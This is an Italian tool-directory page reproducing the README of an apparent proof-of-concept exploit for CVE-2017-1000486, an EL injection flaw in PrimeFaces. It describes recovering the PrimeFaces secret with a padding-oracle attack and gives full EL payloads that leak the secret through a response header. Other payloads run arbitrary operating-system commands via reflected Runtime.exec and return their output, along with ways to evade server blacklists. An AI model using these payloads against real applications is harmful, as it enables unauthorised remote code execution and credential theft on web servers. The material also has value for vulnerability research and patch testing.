Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-1000486 — Exploit proof-of-concept multi-step per CVE-2017-1000486 (iniezione EL di PrimeFaces) con recupero del segreto tramite padding oracle e payload per bypassare le blacklist per l'esecuzione remota di codice. | Kitploit
Strumenti/GitHubGitHub/pastea/cve-2017-1000486
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubpastea/cve-2017-1000486

CVE-2017-1000486

Exploit proof-of-concept multi-step per CVE-2017-1000486 (iniezione EL di PrimeFaces) con recupero del segreto tramite padding oracle e payload per bypassare le blacklist per l'esecuzione remota di codice.

Vedi Repository
414 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2017-1000486

Questo è un PoC di CVE-2017-1000486 con alcuni payload utili per bypassare i controlli lessicografici di blacklist sulle funzioni standard utilizzate per ottenere RCE (getClass(), exec(), etc..) e per recuperare il segreto di PrimeFaces tramite Padding Oracle al fine di essere il meno rumorosi possibile durante lo sfruttamento.

Ringraziamenti a @pimps, @federicodotta e @AonCyberLabs per il loro lavoro correlato all'argomento.

Descrizione

Questo PoC è uno script multi-step utile per analizzare il contesto di ogni applicazione e delle librerie dei server web disponibili.

Inizialmente, lo script perl padBuster scritto da @AonCyberLabs viene utilizzato per recuperare il segreto di PrimeFaces, se non viene fornito manualmente. Ciò può essere utile per ridurre il numero di richieste effettuate al server durante la successiva crittografia dei payload, accelerando l'intero processo. Il tempo necessario per sfruttare la vulnerabilità Padding Oracle è direttamente proporzionale alla dimensione dei payload; utilizzarlo solo nella prima fase su un payload molto più piccolo migliora notevolmente le prestazioni. Non voglio riscrivere tutto il codice di padBuster per integrarlo direttamente con Python, quindi viene effettuata una semplice esecuzione di comandi tramite sistema operativo per eseguirlo.

EL payload:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22SECRET%22,initParam%5B%22primefaces.SECRET%22%5D)}

Viene effettuato un semplice controllo con un EL che esegue un'iniezione di header per verificare l'esecuzione del codice EL. Considera che in questo caso sono disponibili due metodi: setResponseHeader e addResponseHeader; altri metodi disponibili possono essere recuperati dalla documentazione ufficiale.

EL payload:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22PROVA%22,%22123456%22)}

Successivamente, viene effettuata una serie di controlli sulle variabili implicite disponibili per evidenziare alcuni potenziali problemi causati da librerie personalizzate dei server web che non offrono tutte le variabili implicite, come IBM WebLogic. Inoltre viene recuperata la versione del Java Runtime cercando di essere il più specifici possibile con il payload.

Infatti, ho osservato che su Java <=7 si verificano alcune confusioni sui tipi di parametri nei metodi chiamati. Suppongo che ciò sia dovuto all'assegnazione del tipo di variabile eseguita dal parser EL. Per evitare ciò, lo script fa riferimento a metodi specifici tramite l'array getDeclaredMethods(); in questo caso è necessaria l'identificazione dell'indice corretto per ogni metodo utilizzato. Ciò ovviamente incrementa la dimensione del payload ma fornisce molta resilienza.

Per creare un array di byte come buffer, viene utilizzata una soluzione alternativa tramite "".format("%0999d",0).getBytes(), creando un buffer di 999 byte, oppure "0000000".getBytes() creando un buffer di 7 byte.

Standard EL:

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}

EL con getDeclaredMethods():

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}

Miglioramenti

  • I metodi su JSF possono essere chiamati tramite riferimento ["method"](), non solo come Java standard con la notazione punto .method(). Questo potrebbe aiutare a bypassare i filtri effettuati sul server tra la decifratura e l'esecuzione dell'EL.

  • getClass() può essere sostituito con la dichiarazione ["class"]

  • facesContext.getExternalContext().getSession(true).putValue() può essere sostituito da session.setAttribute(); come approccio generale, ogni mappa può essere utilizzata come repository per memorizzare variabili

Dichiarazione di non responsabilità

QUESTO STRUMENTO VIENE FORNITO SOLO A SCOPO EDUCATIVO, CON INTENZIONE ESCLUSIVAMENTE DI RICERCA.

Non è consentito utilizzare questo software per scopi illegali o non etici, incluse attività che potrebbero dar luogo a responsabilità penali o civili.

UTILIZZO A PROPRIO RISCHIO. QUESTO SOFTWARE È FORNITO DAL TITOLARE DEL COPYRIGHT O DAI CONTRIBUTORI "COSÌ COM'È" E QUALSIASI GARANZIA ESPRESSA O IMPLICITA, INCLUSE, MA NON LIMITATE A, LE GARANZIE IMPLICITE DI COMMERCIABILITÀ E IDONEITÀ PER UNO SCOPO PARTICOLARE SONO DECLINATE. IN NESSUN CASO IL TITOLARE DEL COPYRIGHT O I CONTRIBUTORI SARANNO RESPONSABILI PER DANNI DIRETTI, INDIRETTI, INCIDENTALI, SPECIALI, ESEMPLARI O CONSEQUENZIALI.

Scarica lo strumento